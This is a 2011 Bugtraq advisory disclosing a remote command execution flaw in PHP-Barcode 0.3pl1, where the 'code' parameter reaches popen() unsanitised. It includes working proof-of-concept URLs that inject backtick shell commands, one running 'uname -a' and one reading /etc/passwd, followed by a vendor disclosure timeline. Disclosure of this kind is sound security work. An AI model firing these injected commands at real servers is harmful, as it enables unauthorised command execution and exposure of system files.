bugtraq - PHP-Barcode 0.3pl1 Remote Code Execution

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Date: Mon, 25 Jul 2011 18:03:24 -0500
From: beford <xbefordx@...il.com>
To: bugs@...uritytracker.com, bugtraq@...urityfocus.com
Subject: PHP-Barcode 0.3pl1 Remote Code Execution

PHP-Barcode 0.3pl1 Remote Code Execution
=================================

The input passed to the code parameter is not sanitized and is used on
a popen() function. This allows remote command execution and also
allows to see environment vars:

Windows

http://www.site.com/php-barcode/barcode.php?code=%TMP%

Linux

http://www.site.com/php-barcode/barcode.php?code=012$PATH$d
http://www.site.com/php-barcode/barcode.php?code=`uname%20-a`
http://www.site.com/php-barcode/barcode.php?code=`tail%20-1%20/etc/passwd`

Vendor:
 http://www.ashberg.de/php-barcode/download/

Vendor informed:
 July  6 / 2011

Vendor acknowledgement:
 July 7 / 2011

Fix not available from vendor.

- beford